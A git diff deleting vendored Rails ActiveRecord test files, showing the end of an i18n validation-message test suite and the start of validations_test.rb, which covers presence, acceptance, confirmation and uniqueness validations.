-    delete_translation  :'activerecord.errors.messages.custom'
-
-    # Implementing this would clash with the AR default behaviour of using validates_foo :message => 'foo'
-    # as an untranslated string. I.e. at this point we can either fall back to the given string from the
-    # class-level macro (validates_*) or fall back to the default message for this validation type.
-    # assert_error_message 'activerecord.errors.messages.kaputt', :title, :kaputt, :message => 'custom'
-
-    assert_error_message 'custom', :title, :kaputt, :message => 'custom'
-  end
-
-  test "#generate_message key fallbacks (given a Symbol as key)" do
-    store_translations(
-      :errors => {
-        :models => {
-          :reply => {
-            :attributes => { :title => { :kaputt => 'activerecord.errors.models.reply.attributes.title.kaputt' } },
-            :kaputt => 'activerecord.errors.models.reply.kaputt'
-          },
-          :topic => {
-            :attributes => { :title => { :kaputt => 'activerecord.errors.models.topic.attributes.title.kaputt' } },
-            :kaputt => 'activerecord.errors.models.topic.kaputt'
-          }
-        },
-        :messages => {
-          :kaputt => 'activerecord.errors.messages.kaputt'
-        }
-      }
-    )
-
-    assert_error_message 'activerecord.errors.models.reply.attributes.title.kaputt', :title, :kaputt
-    delete_translation  :'activerecord.errors.models.reply.attributes.title.kaputt'
-
-    assert_error_message 'activerecord.errors.models.reply.kaputt', :title, :kaputt
-    delete_translation  :'activerecord.errors.models.reply.kaputt'
-
-    assert_error_message 'activerecord.errors.models.topic.attributes.title.kaputt', :title, :kaputt
-    delete_translation  :'activerecord.errors.models.topic.attributes.title.kaputt'
-
-    assert_error_message 'activerecord.errors.models.topic.kaputt', :title, :kaputt
-    delete_translation  :'activerecord.errors.models.topic.kaputt'
-
-    assert_error_message 'activerecord.errors.messages.kaputt', :title, :kaputt
-  end
-
-  # full_messages
-
-  test "#full_message with no format present" do
-    store_translations(:errors => { :messages => { :kaputt => 'is kaputt' } })
-    assert_full_message 'Title is kaputt', :title, :kaputt
-  end
-
-  test "#full_message with a format present" do
-    store_translations(:errors => { :messages => { :kaputt => 'is kaputt' }, :full_messages => { :format => '%{attribute}: %{message}' } })
-    assert_full_message 'Title: is kaputt', :title, :kaputt
-  end
-
-  test "#full_message with a type specific format present" do
-    store_translations(:errors => { :messages => { :kaputt => 'is kaputt' }, :full_messages => { :kaputt => '%{attribute} %{message}!' } })
-    assert_full_message 'Title is kaputt!', :title, :kaputt
-  end
-
-  test "#full_message with class-level specified custom message" do
-    store_translations(:errors => { :messages => { :broken => 'is kaputt' }, :full_messages => { :broken => '%{attribute} %{message}?!' } })
-    assert_full_message 'Title is kaputt?!', :title, :kaputt, :message => :broken
-  end
-
-  test "#full_message with different scope" do
-    store_translations(:my_errors => { :messages => { :kaputt => 'is kaputt' } })
-    assert_full_message 'Title is kaputt', :title, :kaputt, :scope => [:activerecord, :my_errors]
-
-    store_translations(:my_errors => { :full_messages => { :kaputt => '%{attribute} %{message}!' } })
-    assert_full_message 'Title is kaputt!', :title, :kaputt, :scope => [:activerecord, :my_errors]
-  end
-
-  # switch locales
-
-  test "#message allows to switch locales" do
-    store_translations(:en, :errors => { :messages => { :kaputt => 'is kaputt' } })
-    store_translations(:de, :errors => { :messages => { :kaputt => 'ist kaputt' } })
-
-    assert_error_message 'is kaputt', :title, :kaputt
-    I18n.locale = :de
-    assert_error_message 'ist kaputt', :title, :kaputt
-    I18n.locale = :en
-    assert_error_message 'is kaputt', :title, :kaputt
-  end
-
-  test "#full_message allows to switch locales" do
-    store_translations(:en, :errors => { :messages => { :kaputt => 'is kaputt' } }, :attributes => { :topic => { :title => 'The title' } })
-    store_translations(:de, :errors => { :messages => { :kaputt => 'ist kaputt' } }, :attributes => { :topic => { :title => 'Der Titel' } })
-
-    assert_full_message 'The title is kaputt', :title, :kaputt
-    I18n.locale = :de
-    assert_full_message 'Der Titel ist kaputt', :title, :kaputt
-    I18n.locale = :en
-    assert_full_message 'The title is kaputt', :title, :kaputt
-  end
-end
-
-# ACTIVERECORD DEFAULT ERROR MESSAGES
-#
-# * test that Error generates the default error messages
-
-class ActiveRecordDefaultErrorMessagesI18nTests < ActiveSupport::TestCase
-  def assert_default_error_message(message, *args)
-    assert_equal message, error_message(*args)
-  end
-
-  def error_message(*args)
-    ActiveRecord::Error.new(Topic.new, :title, *args).message
-  end
-
-  # used by: validates_inclusion_of
-  test "default error message: inclusion" do
-    assert_default_error_message 'is not included in the list', :inclusion, :value => 'title'
-  end
-
-  # used by: validates_exclusion_of
-  test "default error message: exclusion" do
-    assert_default_error_message 'is reserved', :exclusion, :value => 'title'
-  end
-
-  # used by: validates_associated and validates_format_of
-  test "default error message: invalid" do
-    assert_default_error_message 'is invalid', :invalid, :value => 'title'
-  end
-
-  # used by: validates_confirmation_of
-  test "default error message: confirmation" do
-    assert_default_error_message "doesn't match confirmation", :confirmation, :default => nil
-  end
-
-  # used by: validates_acceptance_of
-  test "default error message: accepted" do
-    assert_default_error_message "must be accepted", :accepted
-  end
-
-  # used by: add_on_empty
-  test "default error message: empty" do
-    assert_default_error_message "can't be empty", :empty
-  end
-
-  # used by: add_on_blank
-  test "default error message: blank" do
-    assert_default_error_message "can't be blank", :blank
-  end
-
-  # used by: validates_length_of
-  test "default error message: too_long" do
-    assert_default_error_message "is too long (maximum is 10 characters)", :too_long, :count => 10
-  end
-
-  # used by: validates_length_of
-  test "default error message: too_short" do
-    assert_default_error_message "is too short (minimum is 10 characters)", :too_short, :count => 10
-  end
-
-  # used by: validates_length_of
-  test "default error message: wrong_length" do
-    assert_default_error_message "is the wrong length (should be 10 characters)", :wrong_length, :count => 10
-  end
-
-  # used by: validates_uniqueness_of
-  test "default error message: taken" do
-    assert_default_error_message "has already been taken", :taken, :value => 'title'
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: not_a_number" do
-    assert_default_error_message "is not a number", :not_a_number, :value => 'title'
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: greater_than" do
-    assert_default_error_message "must be greater than 10", :greater_than, :value => 'title', :count => 10
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: greater_than_or_equal_to" do
-    assert_default_error_message "must be greater than or equal to 10", :greater_than_or_equal_to, :value => 'title', :count => 10
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: equal_to" do
-    assert_default_error_message "must be equal to 10", :equal_to, :value => 'title', :count => 10
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: less_than" do
-    assert_default_error_message "must be less than 10", :less_than, :value => 'title', :count => 10
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: less_than_or_equal_to" do
-    assert_default_error_message "must be less than or equal to 10", :less_than_or_equal_to, :value => 'title', :count => 10
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: odd" do
-    assert_default_error_message "must be odd", :odd, :value => 'title', :count => 10
-  end
-
-  # used by: validates_numericality_of
-  test "default error message: even" do
-    assert_default_error_message "must be even", :even, :value => 'title', :count => 10
-  end
-
-  test "custom message string interpolation" do
-    assert_equal 'custom message title', error_message(:invalid, :default => 'custom message %{value}', :value => 'title')
-  end
-end
-
-# ACTIVERECORD VALIDATION ERROR MESSAGES - FULL STACK
-#
-# * test a few combinations full stack to ensure the tests above are correct
-
-class I18nPerson < Person
-end
-
-class ActiveRecordValidationsI18nFullStackTests < ActiveSupport::TestCase
-  include ActiveRecordValidationsI18nTestHelper
-
-  def setup
-    reset_callbacks(I18nPerson)
-    @old_backend, I18n.backend = I18n.backend, I18n::Backend::Simple.new
-    @person = I18nPerson.new
-  end
-
-  def teardown
-    reset_callbacks(I18nPerson)
-    I18n.backend = @old_backend
-  end
-
-  def assert_name_invalid(message)
-    yield
-    @person.valid?
-    assert_equal message, @person.errors.on(:name)
-  end
-
-  # Symbols as class-level validation messages
-
-  test "Symbol as class level validation message translated per attribute (translation on child class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:i18n_person => {:attributes => {:name => {:broken => "is broken"}}}}}
-      I18nPerson.validates_presence_of :name, :message => :broken
-    end
-  end
-
-  test "Symbol as class level validation message translated per attribute (translation on base class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:person => {:attributes => {:name => {:broken => "is broken"}}}}}
-      I18nPerson.validates_presence_of :name, :message => :broken
-    end
-  end
-
-  test "Symbol as class level validation message translated per model (translation on child class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:i18n_person => {:broken => "is broken"}}}
-      I18nPerson.validates_presence_of :name, :message => :broken
-    end
-  end
-
-  test "Symbol as class level validation message translated per model (translation on base class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:person => {:broken => "is broken"}}}
-      I18nPerson.validates_presence_of :name, :message => :broken
-    end
-  end
-
-  test "Symbol as class level validation message translated as error message" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:messages => {:broken => "is broken"}}
-      I18nPerson.validates_presence_of :name, :message => :broken
-    end
-  end
-
-  # Strings as class-level validation messages
-
-  test "String as class level validation message translated per attribute (translation on child class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:i18n_person => {:attributes => {:name => {"is broken" => "is broken"}}}}}
-      I18nPerson.validates_presence_of :name, :message => "is broken"
-    end
-  end
-
-  test "String as class level validation message translated per attribute (translation on base class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:person => {:attributes => {:name => {"is broken" => "is broken"}}}}}
-      I18nPerson.validates_presence_of :name, :message => "is broken"
-    end
-  end
-
-  test "String as class level validation message translated per model (translation on child class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:i18n_person => {"is broken" => "is broken"}}}
-      I18nPerson.validates_presence_of :name, :message => "is broken"
-    end
-  end
-
-  test "String as class level validation message translated per model (translation on base class)" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:models => {:person => {"is broken" => "is broken"}}}
-      I18nPerson.validates_presence_of :name, :message => "is broken"
-    end
-  end
-
-  test "String as class level validation message translated as error message" do
-    assert_name_invalid("is broken") do
-      store_translations :errors => {:messages => {"is broken" => "is broken"}}
-      I18nPerson.validates_presence_of :name, :message => "is broken"
-    end
-  end
-
-  test "String as class level validation message not translated (uses message as default)" do
-    assert_name_invalid("is broken!") do
-      I18nPerson.validates_presence_of :name, :message => "is broken!"
-    end
-  end
-end
-
-class ActiveRecordValidationsI18nFullMessagesFullStackTests < ActiveSupport::TestCase
-  include ActiveRecordValidationsI18nTestHelper
-
-  def setup
-    reset_callbacks(I18nPerson)
-    @old_backend, I18n.backend = I18n.backend, I18n::Backend::Simple.new
-    @person = I18nPerson.new
-  end
-
-  def teardown
-    reset_callbacks(I18nPerson)
-    I18n.backend = @old_backend
-  end
-
-  def assert_full_message(message)
-    yield
-    @person.valid?
-    assert_equal message, @person.errors.full_messages.join
-  end
-
-  test "full_message format stored per custom error message key" do
-    assert_full_message("Name is broken!") do
-      store_translations :errors => { :messages => { :broken => 'is broken' }, :full_messages => { :broken => '%{attribute} %{message}!' } }
-      I18nPerson.validates_presence_of :name, :message => :broken
-    end
-  end
-
-  test "full_message format stored per error type" do
-    assert_full_message("Name can't be blank!") do
-      store_translations :errors => { :full_messages => { :blank => '%{attribute} %{message}!' } }
-      I18nPerson.validates_presence_of :name
-    end
-  end
-  # ActiveRecord#RecordInvalid exception
-
-  test "full_message format stored as default" do
-    assert_full_message("Name: can't be blank") do
-      store_translations :errors => { :full_messages => { :format => '%{attribute}: %{message}' } }
-      I18nPerson.validates_presence_of :name
-    end
-  end
-  test "RecordInvalid exception can be localized" do
-    topic = Topic.new
-    topic.errors.add(:title, :invalid)
-    topic.errors.add(:title, :blank)
-    assert_equal "Validation failed: Title is invalid, Title can't be blank", ActiveRecord::RecordInvalid.new(topic).message
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/validations_test.rb b/vendor/rails/activerecord/test/cases/validations_test.rb
deleted file mode 100644
index d57da790..00000000
--- a/vendor/rails/activerecord/test/cases/validations_test.rb
+++ /dev/null
@@ -1,1684 +0,0 @@
-# encoding: utf-8
-require "cases/helper"
-require 'models/topic'
-require 'models/reply'
-require 'models/person'
-require 'models/developer'
-require 'models/warehouse_thing'
-require 'models/guid'
-require 'models/owner'
-require 'models/pet'
-require 'models/event'
-require 'models/man'
-require 'models/interest'
-
-# The following methods in Topic are used in test_conditional_validation_*
-class Topic
-  has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
-  has_many :silly_unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
-
-  def condition_is_true
-    true
-  end
-
-  def condition_is_true_but_its_not
-    false
-  end
-end
-
-class ProtectedPerson < ActiveRecord::Base
-  set_table_name 'people'
-  attr_accessor :addon
-  attr_protected :first_name
-
-  def special_error
-    this_method_does_not_exist!
-  rescue
-    errors.add(:special_error, "This method does not exist")
-  end
-end
-
-class UniqueReply < Reply
-  validates_uniqueness_of :content, :scope => 'parent_id'
-end
-
-class SillyUniqueReply < UniqueReply
-end
-
-class Wizard < ActiveRecord::Base
-  self.abstract_class = true
-
-  validates_uniqueness_of :name
-end
-
-class IneptWizard < Wizard
-  validates_uniqueness_of :city
-end
-
-class Conjurer < IneptWizard
-end
-
-class Thaumaturgist < IneptWizard
-end
-
-
-class ValidationsTest < ActiveRecord::TestCase
-  fixtures :topics, :developers, 'warehouse-things'
-
-  # Most of the tests mess with the validations of Topic, so lets repair it all the time.
-  # Other classes we mess with will be dealt with in the specific tests
-  repair_validations(Topic)
-
-  def test_single_field_validation
-    r = Reply.new
-    r.title = "There's no content!"
-    assert !r.valid?, "A reply without content shouldn't be saveable"
-
-    r.content = "Messa content!"
-    assert r.valid?, "A reply with content should be saveable"
-  end
-
-  def test_single_attr_validation_and_error_msg
-    r = Reply.new
-    r.title = "There's no content!"
-    assert !r.valid?
-    assert r.errors.invalid?("content"), "A reply without content should mark that attribute as invalid"
-    assert_equal "Empty", r.errors.on("content"), "A reply without content should contain an error"
-    assert_equal 1, r.errors.count
-  end
-
-  def test_double_attr_validation_and_error_msg
-    r = Reply.new
-    assert !r.valid?
-
-    assert r.errors.invalid?("title"), "A reply without title should mark that attribute as invalid"
-    assert_equal "Empty", r.errors.on("title"), "A reply without title should contain an error"
-
-    assert r.errors.invalid?("content"), "A reply without content should mark that attribute as invalid"
-    assert_equal "Empty", r.errors.on("content"), "A reply without content should contain an error"
-
-    assert_equal 2, r.errors.count
-  end
-
-  def test_error_on_create
-    r = Reply.new
-    r.title = "Wrong Create"
-    assert !r.valid?
-    assert r.errors.invalid?("title"), "A reply with a bad title should mark that attribute as invalid"
-    assert_equal "is Wrong Create", r.errors.on("title"), "A reply with a bad content should contain an error"
-  end
-
-  def test_error_on_update
-    r = Reply.new
-    r.title = "Bad"
-    r.content = "Good"
-    assert r.save, "First save should be successful"
-
-    r.title = "Wrong Update"
-    assert !r.save, "Second save should fail"
-
-    assert r.errors.invalid?("title"), "A reply with a bad title should mark that attribute as invalid"
-    assert_equal "is Wrong Update", r.errors.on("title"), "A reply with a bad content should contain an error"
-  end
-
-  def test_invalid_record_exception
-    assert_raise(ActiveRecord::RecordInvalid) { Reply.create! }
-    assert_raise(ActiveRecord::RecordInvalid) { Reply.new.save! }
-
-    begin
-      r = Reply.new
-      r.save!
-      flunk
-    rescue ActiveRecord::RecordInvalid => invalid
-      assert_equal r, invalid.record
-    end
-  end
-
-  def test_exception_on_create_bang_many
-    assert_raise(ActiveRecord::RecordInvalid) do
-      Reply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
-    end
-  end
-
-  def test_exception_on_create_bang_with_block
-    assert_raise(ActiveRecord::RecordInvalid) do
-      Reply.create!({ "title" => "OK" }) do |r|
-        r.content = nil
-      end
-    end
-  end
-
-  def test_exception_on_create_bang_many_with_block
-    assert_raise(ActiveRecord::RecordInvalid) do
-      Reply.create!([{ "title" => "OK" }, { "title" => "Wrong Create" }]) do |r|
-        r.content = nil
-      end
-    end
-  end
-
-  def test_scoped_create_without_attributes
-    Reply.with_scope(:create => {}) do
-      assert_raise(ActiveRecord::RecordInvalid) { Reply.create! }
-    end
-  end
-
-  def test_create_with_exceptions_using_scope_for_protected_attributes
-    assert_nothing_raised do
-      ProtectedPerson.with_scope( :create => { :first_name => "Mary" } ) do
-        person = ProtectedPerson.create! :addon => "Addon"
-        assert_equal person.first_name, "Mary", "scope should ignore attr_protected"
-      end
-    end
-  end
-
-  def test_create_with_exceptions_using_scope_and_empty_attributes
-    assert_nothing_raised do
-      ProtectedPerson.with_scope( :create => { :first_name => "Mary" } ) do
-        person = ProtectedPerson.create!
-        assert_equal person.first_name, "Mary", "should be ok when no attributes are passed to create!"
-      end
-    end
-  end
-
-  def test_values_are_not_retrieved_unless_needed
-    assert_nothing_raised do
-      person = ProtectedPerson.new
-      person.special_error
-      assert_equal "This method does not exist", person.errors[:special_error]
-    end
-  end
-
-  def test_single_error_string_per_attr_iteration
-    r = Reply.new
-    r.save
-
-    errors = []
-    r.errors.each { |attr, msg| errors << [attr, msg] }
-
-    assert errors.include?(["title", "Empty"])
-    assert errors.include?(["content", "Empty"])
-  end
-
-  def test_single_error_object_per_attr_iteration
-    r = Reply.new
-    r.save
-
-    errors = []
-    r.errors.each_error { |attr, error| errors << [attr, error.attribute] }
-
-    assert errors.include?(["title", "title"])
-    assert errors.include?(["content", "content"])
-  end
-
-  def test_multiple_errors_per_attr_iteration_with_full_error_composition
-    r = Reply.new
-    r.title   = "Wrong Create"
-    r.content = "Mismatch"
-    r.save
-
-    errors = []
-    r.errors.each_full { |error| errors << error }
-
-    assert_equal "Title is Wrong Create", errors[0]
-    assert_equal "Title is Content Mismatch", errors[1]
-    assert_equal 2, r.errors.count
-  end
-
-  def test_errors_on_base
-    r = Reply.new
-    r.content = "Mismatch"
-    r.save
-    r.errors.add_to_base "Reply is not dignifying"
-
-    errors = []
-    r.errors.each_full { |error| errors << error }
-
-    assert_equal "Reply is not dignifying", r.errors.on_base
-
-    assert errors.include?("Title Empty")
-    assert errors.include?("Reply is not dignifying")
-    assert_equal 2, r.errors.count
-  end
-
-  def test_create_without_validation
-    reply = Reply.new
-    assert !reply.save
-    assert reply.save(false)
-  end
-
-  def test_create_without_validation_bang
-    count = Reply.count
-    assert_nothing_raised { Reply.new.save_without_validation! }
-    assert count+1, Reply.count
-  end
-
-  def test_validates_each
-    hits = 0
-    Topic.validates_each(:title, :content, [:title, :content]) do |record, attr|
-      record.errors.add attr, 'gotcha'
-      hits += 1
-    end
-    t = Topic.new("title" => "valid", "content" => "whatever")
-    assert !t.save
-    assert_equal 4, hits
-    assert_equal %w(gotcha gotcha), t.errors.on(:title)
-    assert_equal %w(gotcha gotcha), t.errors.on(:content)
-  end
-
-  def test_no_title_confirmation
-    Topic.validates_confirmation_of(:title)
-
-    t = Topic.new(:author_name => "Plutarch")
-    assert t.valid?
-
-    t.title_confirmation = "Parallel Lives"
-    assert !t.valid?
-
-    t.title_confirmation = nil
-    t.title = "Parallel Lives"
-    assert t.valid?
-
-    t.title_confirmation = "Parallel Lives"
-    assert t.valid?
-  end
-
-  def test_title_confirmation
-    Topic.validates_confirmation_of(:title)
-
-    t = Topic.create("title" => "We should be confirmed","title_confirmation" => "")
-    assert !t.save
-
-    t.title_confirmation = "We should be confirmed"
-    assert t.save
-  end
-
-  def test_terms_of_service_agreement_no_acceptance
-    Topic.validates_acceptance_of(:terms_of_service, :on => :create)
-
-    t = Topic.create("title" => "We should not be confirmed")
-    assert t.save
-  end
-
-  def test_terms_of_service_agreement
-    Topic.validates_acceptance_of(:terms_of_service, :on => :create)
-
-    t = Topic.create("title" => "We should be confirmed","terms_of_service" => "")
-    assert !t.save
-    assert_equal "must be accepted", t.errors.on(:terms_of_service)
-
-    t.terms_of_service = "1"
-    assert t.save
-  end
-
-
-  def test_eula
-    Topic.validates_acceptance_of(:eula, :message => "must be abided", :on => :create)
-
-    t = Topic.create("title" => "We should be confirmed","eula" => "")
-    assert !t.save
-    assert_equal "must be abided", t.errors.on(:eula)
-
-    t.eula = "1"
-    assert t.save
-  end
-
-  def test_terms_of_service_agreement_with_accept_value
-    Topic.validates_acceptance_of(:terms_of_service, :on => :create, :accept => "I agree.")
-
-    t = Topic.create("title" => "We should be confirmed", "terms_of_service" => "")
-    assert !t.save
-    assert_equal "must be accepted", t.errors.on(:terms_of_service)
-
-    t.terms_of_service = "I agree."
-    assert t.save
-  end
-
-  def test_validates_acceptance_of_as_database_column
-    repair_validations(Reply) do
-      Reply.validates_acceptance_of(:author_name)
-
-      reply = Reply.create("author_name" => "Dan Brown")
-      assert_equal "Dan Brown", reply["author_name"]
-    end
-  end
-
-  def test_validates_acceptance_of_with_non_existant_table
-    Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
-
-    assert_nothing_raised ActiveRecord::StatementInvalid do
-      IncorporealModel.validates_acceptance_of(:incorporeal_column)
-    end
-  end
-
-  def test_validate_presences
-    Topic.validates_presence_of(:title, :content)
-
-    t = Topic.create
-    assert !t.save
-    assert_equal "can't be blank", t.errors.on(:title)
-    assert_equal "can't be blank", t.errors.on(:content)
-
-    t.title = "something"
-    t.content  = "   "
-
-    assert !t.save
-    assert_equal "can't be blank", t.errors.on(:content)
-
-    t.content = "like stuff"
-
-    assert t.save
-  end
-
-  def test_validates_presence_of_belongs_to_association__parent_is_new_record
-    repair_validations(Interest) do
-      # Note that Interest and Man have the :inverse_of option set
-      Interest.validates_presence_of(:man)
-      man = Man.new(:name => 'John')
-      interest = man.interests.build(:topic => 'Airplanes')
-      assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
-    end
-  end
-
-  def test_validates_presence_of_belongs_to_association__existing_parent
-    repair_validations(Interest) do
-      Interest.validates_presence_of(:man)
-      man = Man.create!(:name => 'John')
-      interest = man.interests.build(:topic => 'Airplanes')
-      assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
-    end
-  end
-
-  def test_validate_uniqueness
-    Topic.validates_uniqueness_of(:title)
-
-    t = Topic.new("title" => "I'm uniqué!")
-    assert t.save, "Should save t as unique"
-
-    t.content = "Remaining unique"
-    assert t.save, "Should still save t as unique"
-
-    t2 = Topic.new("title" => "I'm uniqué!")
-    assert !t2.valid?, "Shouldn't be valid"
-    assert !t2.save, "Shouldn't save t2 as unique"
-    assert_equal "has already been taken", t2.errors.on(:title)
-
-    t2.title = "Now Im really also unique"
-    assert t2.save, "Should now save t2 as unique"
-  end
-
-  def test_validates_uniquness_with_newline_chars
-    Topic.validates_uniqueness_of(:title, :case_sensitive => false)
-
-    t = Topic.new("title" => "new\nline")
-    assert t.save, "Should save t as unique"
-  end
-
-  def test_validate_uniqueness_with_scope
-    repair_validations(Reply) do
-      Reply.validates_uniqueness_of(:content, :scope => "parent_id")
-
-      t = Topic.create("title" => "I'm unique!")
-
-      r1 = t.replies.create "title" => "r1", "content" => "hello world"
-      assert r1.valid?, "Saving r1"
-
-      r2 = t.replies.create "title" => "r2", "content" => "hello world"
-      assert !r2.valid?, "Saving r2 first time"
-
-      r2.content = "something else"
-      assert r2.save, "Saving r2 second time"
-
-      t2 = Topic.create("title" => "I'm unique too!")
-      r3 = t2.replies.create "title" => "r3", "content" => "hello world"
-      assert r3.valid?, "Saving r3"
-    end
-  end
-
-   def test_validate_uniqueness_with_reserved_word_as_scope
-    repair_validations(Reply) do
-      Topic.validates_uniqueness_of(:content, :scope => "group")
-
-      t1 = Topic.create "title" => "t1", "content" => "hello world2"
-      assert t1.valid?
-
-      t2 = Topic.create "title" => "t2", "content" => "hello world2"
-      assert !t2.valid?
-    end
-  end
-
-  def test_validate_uniqueness_scoped_to_defining_class
-    t = Topic.create("title" => "What, me worry?")
-
-    r1 = t.unique_replies.create "title" => "r1", "content" => "a barrel of fun"
-    assert r1.valid?, "Saving r1"
-
-    r2 = t.silly_unique_replies.create "title" => "r2", "content" => "a barrel of fun"
-    assert !r2.valid?, "Saving r2"
-
-    # Should succeed as validates_uniqueness_of only applies to
-    # UniqueReply and its subclasses
-    r3 = t.replies.create "title" => "r2", "content" => "a barrel of fun"
-    assert r3.valid?, "Saving r3"
-  end
-
-  def test_validate_uniqueness_with_scope_array
-    repair_validations(Reply) do
-      Reply.validates_uniqueness_of(:author_name, :scope => [:author_email_address, :parent_id])
-
-      t = Topic.create("title" => "The earth is actually flat!")
-
-      r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply"
-      assert r1.valid?, "Saving r1"
-
-      r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply again..."
-      assert !r2.valid?, "Saving r2. Double reply by same author."
-
-      r2.author_email_address = "jeremy_alt_email@rubyonrails.com"
-      assert r2.save, "Saving r2 the second time."
-
-      r3 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy_alt_email@rubyonrails.com", "title" => "You're wrong", "content" => "It's cubic"
-      assert !r3.valid?, "Saving r3"
-
-      r3.author_name = "jj"
-      assert r3.save, "Saving r3 the second time."
-
-      r3.author_name = "jeremy"
-      assert !r3.save, "Saving r3 the third time."
-    end
-  end
-
-  def test_validate_case_insensitive_uniqueness
-    Topic.validates_uniqueness_of(:title, :parent_id, :case_sensitive => false, :allow_nil => true)
-
-    t = Topic.new("title" => "I'm unique!", :parent_id => 2)
-    assert t.save, "Should save t as unique"
-
-    t.content = "Remaining unique"
-    assert t.save, "Should still save t as unique"
-
-    t2 = Topic.new("title" => "I'm UNIQUE!", :parent_id => 1)
-    assert !t2.valid?, "Shouldn't be valid"
-    assert !t2.save, "Shouldn't save t2 as unique"
-    assert t2.errors.on(:title)
-    assert t2.errors.on(:parent_id)
-    assert_equal "has already been taken", t2.errors.on(:title)
-
-    t2.title = "I'm truly UNIQUE!"
-    assert !t2.valid?, "Shouldn't be valid"
-    assert !t2.save, "Shouldn't save t2 as unique"
-    assert_nil t2.errors.on(:title)
-    assert t2.errors.on(:parent_id)
-
-    t2.parent_id = 4
-    assert t2.save, "Should now save t2 as unique"
-
-    t2.parent_id = nil
-    t2.title = nil
-    assert t2.valid?, "should validate with nil"
-    assert t2.save, "should save with nil"
-
-    with_kcode('UTF8') do
-      t_utf8 = Topic.new("title" => "Я тоже уникальный!")
-      assert t_utf8.save, "Should save t_utf8 as unique"
-
-      # If database hasn't UTF-8 character set, this test fails
-      if Topic.find(t_utf8, :select => 'LOWER(title) AS title').title == "я тоже уникальный!"
-        t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
-        assert !t2_utf8.valid?, "Shouldn't be valid"
-        assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
-      end
-    end
-  end
-
-  def test_validate_case_sensitive_uniqueness
-    Topic.validates_uniqueness_of(:title, :case_sensitive => true, :allow_nil => true)
-
-    t = Topic.new("title" => "I'm unique!")
-    assert t.save, "Should save t as unique"
-
-    t.content = "Remaining unique"
-    assert t.save, "Should still save t as unique"
-
-    t2 = Topic.new("title" => "I'M UNIQUE!")
-    assert t2.valid?, "Should be valid"
-    assert t2.save, "Should save t2 as unique"
-    assert !t2.errors.on(:title)
-    assert !t2.errors.on(:parent_id)
-    assert_not_equal "has already been taken", t2.errors.on(:title)
-
-    t3 = Topic.new("title" => "I'M uNiQUe!")
-    assert t3.valid?, "Should be valid"
-    assert t3.save, "Should save t2 as unique"
-    assert !t3.errors.on(:title)
-    assert !t3.errors.on(:parent_id)
-    assert_not_equal "has already been taken", t3.errors.on(:title)
-  end
-
-  def test_validate_case_sensitive_uniqueness_with_attribute_passed_as_integer
-    Topic.validates_uniqueness_of(:title, :case_sensitve => true)
-    t = Topic.create!('title' => 101)
-
-    t2 = Topic.new('title' => 101)
-    assert !t2.valid?
-    assert t2.errors.on(:title)
-  end
-
-  def test_validate_uniqueness_with_non_standard_table_names
-    i1 = WarehouseThing.create(:value => 1000)
-    assert !i1.valid?, "i1 should not be valid"
-    assert i1.errors.on(:value), "Should not be empty"
-  end
-
-  def test_validates_uniqueness_inside_with_scope
-    Topic.validates_uniqueness_of(:title)
-
-    Topic.with_scope(:find => { :conditions => { :author_name => "David" } }) do
-      t1 = Topic.new("title" => "I'm unique!", "author_name" => "Mary")
-      assert t1.save
-      t2 = Topic.new("title" => "I'm unique!", "author_name" => "David")
-      assert !t2.valid?
-    end
-  end
-
-  def test_validate_uniqueness_with_columns_which_are_sql_keywords
-    repair_validations(Guid) do
-      Guid.validates_uniqueness_of :key
-      g = Guid.new
-      g.key = "foo"
-      assert_nothing_raised { !g.valid? }
-    end
-  end
-
-  def test_validate_uniqueness_with_limit
-    # Event.title is limited to 5 characters
-    e1 = Event.create(:title => "abcde")
-    assert e1.valid?, "Could not create an event with a unique, 5 character title"
-    e2 = Event.create(:title => "abcdefgh")
-    assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
-  end
-
-  def test_validate_uniqueness_with_limit_and_utf8
-    with_kcode('UTF8') do
-      # Event.title is limited to 5 characters
-      e1 = Event.create(:title => "一二三四五")
-      assert e1.valid?, "Could not create an event with a unique, 5 character title"
-      e2 = Event.create(:title => "一二三四五六七八")
-      assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
-    end
-  end
-
-  def test_validate_straight_inheritance_uniqueness
-    w1 = IneptWizard.create(:name => "Rincewind", :city => "Ankh-Morpork")
-    assert w1.valid?, "Saving w1"
-
-    # Should use validation from base class (which is abstract)
-    w2 = IneptWizard.new(:name => "Rincewind", :city => "Quirm")
-    assert !w2.valid?, "w2 shouldn't be valid"
-    assert w2.errors.on(:name), "Should have errors for name"
-    assert_equal "has already been taken", w2.errors.on(:name), "Should have uniqueness message for name"
-
-    w3 = Conjurer.new(:name => "Rincewind", :city => "Quirm")
-    assert !w3.valid?, "w3 shouldn't be valid"
-    assert w3.errors.on(:name), "Should have errors for name"
